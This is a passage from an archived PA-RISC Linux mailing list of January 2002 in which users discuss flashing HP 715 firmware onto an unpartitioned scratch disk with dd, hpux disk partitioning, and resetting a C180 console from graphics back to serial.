Lines: 34
Approved: news@gmane.org
Message-ID: <20020103174545.B89E3482A@dsl2.external.hp.com>
References: <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620916 320 80.91.229.3 (22 Nov 2014 01:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: ferguson@quango.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 10:45:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B89E3482A; Thu,  3 Jan 2002 10:45:45 -0700 (MST)
In-Reply-To: Message from Bill Ferguson <ferguson@quango.net> 
   of "Thu, 03 Jan 2002 01:12:26 PST." <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13574

Bill Ferguson wrote:
> I know this has been asked a zillion times but bear with me.  I'm pretty 
> new to Linux, but familar with many other operating systems.
> 
> I've got debian 0.9.3 installed on a 715/100.  Seems to work pretty well.
> 
> My question relates to getting the firmware to a "scratch disk"  which 
> Grant speaks of in the archives (in my case sda1 set to type F0).  sdb1, 
> sdb2, sdb3, sdb4 are the disks where the Linux install resides.

"scratch disk" means the whole *disk*. PDC loader doesn't know anything
about partitions.  ie if /dev/sda is "scratch", then use
	dd if=c7x50016.frm of=/dev/sda bs=2k

(Note: bs parameter doesn't do anything since the disk is 512 sectors
no matter what we specify....just a good reminder in case we use different
media)

> I've tried booting from bootp, cdrom, tape, and now scratch disk and I 
> can't get the LIF image to work.

*sigh*. bootp, tape, and disk definitely work - I've done all three.
Are you *sure* it's a LIF image you are playing with?
"lifls C7X50016.frm" under HPUX will display the LIF contents.

Can you compare md5sum output?
	grundler <511>md5sum *.frm
	4d7dc913c507eda18c34e8af29352086  C7X50016.frm

(This is from ftp://ftp.parisc-linux.org/kernels/715/C7X50016.frm)

grant



From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DISREGARD 0.9.3 installer didn't set 712 bootable
Date: Thu, 03 Jan 2002 11:03:30 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20020103180330.464F9482E@dsl2.external.hp.com>
References: <m3y9jhfmrn.fsf@localhost.localdomain> <m3u1u5fkmw.fsf@localhost.localdomain> <20020101203848.1634246f.csuder@cisco.com>  <20020103152828.C23472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620917 322 80.91.229.3 (22 Nov 2014 01:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:37 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>,
	Nick Papadonis <npapadon@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 11:03:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 464F9482E; Thu,  3 Jan 2002 11:03:30 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Thu, 03 Jan 2002 15:28:28 GMT." <20020103152828.C23472@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13575

Matthew Wilcox wrote:
> hpux's partitioning scheme wasn't appropriate

I'll go a step further: hpux boot loader supports two disk partitioning
schemes and both are unusable for linux. "hard partitioning" just
plain sucks and is unmaintainable. HPUX LVM partitions are unreadable by
linux since HP can't (not HP's IP) release the spec.

grant



From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Ferguson <ferguson@quango.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Upgrading 715/100 Firmware
Date: Thu, 03 Jan 2002 12:48:56 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020103124357.00af6b38@mail.quango.net>
References: <Message from Bill Ferguson <ferguson@quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net> <20020103174545.B89E3482A@dsl2.external.hp.com>
Reply-To: ferguson@quango.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620917 325 80.91.229.3 (22 Nov 2014 01:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 13:48:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.quango.net (unknown [63.102.227.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65D61482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 13:48:47 -0700 (MST)
Original-Received: from shiftright.mail.quango.net [24.55.42.220] by quango.net [63.102.227.120]
	with SMTP (MDaemon.v3.5.1.R)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 03 Jan 2002 12:42:31 -0800
X-Sender: ferguson@mail.quango.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <20020103174545.B89E3482A@dsl2.external.hp.com>
Original-References: <Message from Bill Ferguson <ferguson@quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
X-MDRemoteIP: 24.55.42.220
X-Return-Path: ferguson@quango.net
X-MDaemon-Deliver-To: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13576

At 10:45 AM 1/3/2002 -0700, you wrote:
>"scratch disk" means the whole *disk*. PDC loader doesn't know anything
>about partitions.  ie if /dev/sda is "scratch", then use
>         dd if=c7x50016.frm of=/dev/sda bs=2k


Okay..so a disk with no partitions at all?  Correct?

The term "scratch" has a different meaning to me from a different OS, as in 
a spare tape or drive that is formated but not used.

I'll try it with unpartitioned?  or just one partition?


>(Note: bs parameter doesn't do anything since the disk is 512 sectors
>no matter what we specify....just a good reminder in case we use different
>media)
>
> > I've tried booting from bootp, cdrom, tape, and now scratch disk and I
> > can't get the LIF image to work.
>
>*sigh*. bootp, tape, and disk definitely work - I've done all three.
>Are you *sure* it's a LIF image you are playing with?
>"lifls C7X50016.frm" under HPUX will display the LIF contents.
>
>Can you compare md5sum output?
>         grundler <511>md5sum *.frm
>         4d7dc913c507eda18c34e8af29352086  C7X50016.frm
>
>(This is from ftp://ftp.parisc-linux.org/kernels/715/C7X50016.frm)
>
>grant


MD5SUM matches exactly.   I think the problem is the partitions.  I'll get 
rid of that and try again.





From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Ferguson <ferguson@quango.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Upgrading 715/100 Firmware
Date: Thu, 03 Jan 2002 13:27:04 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020103132428.00afee90@mail.quango.net>
References: <Message from Bill Ferguson <ferguson@quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net> <20020103174545.B89E3482A@dsl2.external.hp.com>
Reply-To: ferguson@quango.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620917 329 80.91.229.3 (22 Nov 2014 01:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 14:27:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.quango.net (unknown [63.102.227.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90BBD482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 14:27:42 -0700 (MST)
Original-Received: from shiftright.mail.quango.net [24.55.42.220] by quango.net [63.102.227.120]
	with SMTP (MDaemon.v3.5.1.R)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 03 Jan 2002 13:20:39 -0800
X-Sender: ferguson@mail.quango.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <20020103174545.B89E3482A@dsl2.external.hp.com>
Original-References: <Message from Bill Ferguson <ferguson@quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
X-MDRemoteIP: 24.55.42.220
X-Return-Path: ferguson@quango.net
X-MDaemon-Deliver-To: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13577

Now that worked!   My firmware is up to date!

Disk has to "raw" unpartitioned.   Thanks Grant!  I'll now write that FAQ 
for booting firmware I promised!

BTW. I found an old Syquest Ezdrive to use as a scratch disk, works pretty 
well since its scsi.


At 10:45 AM 1/3/2002 -0700, Grant Grundler wrote:
>Bill Ferguson wrote:
> > I know this has been asked a zillion times but bear with me.  I'm pretty
> > new to Linux, but familar with many other operating systems.
> >
> > I've got debian 0.9.3 installed on a 715/100.  Seems to work pretty well.
> >
> > My question relates to getting the firmware to a "scratch disk"  which
> > Grant speaks of in the archives (in my case sda1 set to type F0).  sdb1,
> > sdb2, sdb3, sdb4 are the disks where the Linux install resides.
>
>"scratch disk" means the whole *disk*. PDC loader doesn't know anything
>about partitions.  ie if /dev/sda is "scratch", then use
>         dd if=c7x50016.frm of=/dev/sda bs=2k
>
>(Note: bs parameter doesn't do anything since the disk is 512 sectors
>no matter what we specify....just a good reminder in case we use different
>media)
>
> > I've tried booting from bootp, cdrom, tape, and now scratch disk and I
> > can't get the LIF image to work.
>
>*sigh*. bootp, tape, and disk definitely work - I've done all three.
>Are you *sure* it's a LIF image you are playing with?
>"lifls C7X50016.frm" under HPUX will display the LIF contents.
>
>Can you compare md5sum output?
>         grundler <511>md5sum *.frm
>         4d7dc913c507eda18c34e8af29352086  C7X50016.frm
>
>(This is from ftp://ftp.parisc-linux.org/kernels/715/C7X50016.frm)
>
>grant
>
>
>--
>To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
>with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org





From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Welcome to 2.4.17-pa0
Date: Thu, 03 Jan 2002 16:01:02 -0700
Lines: 5
Approved: news@gmane.org
Message-ID: <E16MGr8-00034x-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620918 331 80.91.229.3 (22 Nov 2014 01:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 16:01:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5765482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jan 2002 16:01:04 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 5D9FCE00614
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jan 2002 18:01:03 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP id 018A84359
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jan 2002 16:01:02 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16MGr8-00034x-00
	for <parisc-linux@parisc-linux.org>; Thu, 03 Jan 2002 16:01:02 -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13578

For better or worse -- seems to work.

	-P



From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Reset default console?
Date: Thu, 3 Jan 2002 17:56:21 -0900 (AKST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201031746180.19160-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620918 336 80.91.229.3 (22 Nov 2014 01:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:38 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 19:59:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD9E0482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jan 2002 19:59:47 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GPE8BM01.AJW for
          <parisc-linux@parisc-linux.org>; Thu, 3 Jan 2002 17:59:46 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GPE8BN02.B4T for <parisc-linux@parisc-linux.org>; Thu, 3 Jan
          2002 17:59:47 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA19183
	for <parisc-linux@parisc-linux.org>; Thu, 3 Jan 2002 17:56:21 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13579

Okay, I finally got my EVC-VGA adapter from HP (who are actually the
cheapest place to get one!) and plugged in the A1097C monitor so I can
start using a local keyboard/mouse/monitor on the C180. I changed the
console in the PDC from serial_1 to graphics(0), checked that graphics(0)
is the local video adapter and said it's settings were 1280x1024@75hz,
then rebooted. After I got a completely scrambled screen, I remembered
that the A1097C is 1280x1024@72...

Unfortunately, since graphics(0) is valid, I no longer get PDC info on the
serial cable. Does anyone know how I can reset this, or force it to go
back to the serial console?

I also found one source online that said the A1097C monitor is
1280x960@75, rather than 1280x1024. Anyone at HP care to confirm or deny
this? :-)




From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Reset default console?
Date: Thu, 3 Jan 2002 19:30:36 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <20020103193036.772a6d0b.csuder@cisco.com>
References: <Pine.LNX.4.33.0201031746180.19160-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620918 338 80.91.229.3 (22 Nov 2014 01:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Tom" <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 20:30:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84F4F482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jan 2002 20:30:47 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id g043Ucq14022;
	Thu, 3 Jan 2002 19:30:38 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABS78674;
	Thu, 3 Jan 2002 19:30:45 -0800 (PST)
In-Reply-To: <Pine.LNX.4.33.0201031746180.19160-100000@goliath.alaskatech.org>
X-Mailer: Sylpheed version 0.6.6 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13580


Tom,


on the (older) C110 you hit <TAB> as soon as the monitor shows some sign
of life and it will cycle through the available settings. I guess it's the
same on a C180.

Otherwise you can remove the adapter to force it back to the serial
console. 

	Christian 



On Thu, 3 Jan 2002 17:56:21 -0900 (AKST)
"Tom" <palinux@alaskatech.org> wrote:

> Okay, I finally got my EVC-VGA adapter from HP (who are actually the
> cheapest place to get one!) and plugged in the A1097C monitor so I can
> start using a local keyboard/mouse/monitor on the C180. I changed the
> console in the PDC from serial_1 to graphics(0), checked that
graphics(0)> is the local video adapter and said it's settings were
1280x1024@75hz,> then rebooted. After I got a completely scrambled screen,
I remembered> that the A1097C is 1280x1024@72...
> 
> Unfortunately, since graphics(0) is valid, I no longer get PDC info on
the> serial cable. Does anyone know how I can reset this, or force it to
go> back to the serial console?
> 
> I also found one source online that said the A1097C monitor is
> 1280x960@75, rather than 1280x1024. Anyone at HP care to confirm or deny
> this? :-)
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Reset default console?
Date: Thu, 03 Jan 2002 21:12:54 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020104041254.5E01137CB8@carmen.fc.hp.com>
References: <Pine.LNX.4.33.0201031746180.19160-100000@goliath.alaskatech.org>  <20020103193036.772a6d0b.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620919 349 80.91.229.3 (22 Nov 2014 01:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:39 +0000 (UTC)
Cc: "Tom" <palinux@alaskatech.org>, parisc-linux@parisc-linux.org,
	taggart@carmen.fc.hp.com
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 21:12:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 127B2482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jan 2002 21:12:56 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 101E0E005D4; Thu,  3 Jan 2002 23:12:55 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5E01137CB8; Thu,  3 Jan 2002 21:12:54 -0700 (MST)
In-Reply-To: Your message of "Thu, 03 Jan 2002 19:30:36 PST."
             <20020103193036.772a6d0b.csuder@cisco.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13581

Christian Suder writes...

> Otherwise you can remove the adapter to force it back to the serial
> console. 

Or unplug the keyboard IIRC.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Reset default console?
Date: Thu, 3 Jan 2002 22:36:40 -0900 (AKST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201031847270.19160-100000@goliath.alaskatech.org>
References: <20020103193036.772a6d0b.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620919 353 80.91.229.3 (22 Nov 2014 01:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:39 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 00:40:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32796482A
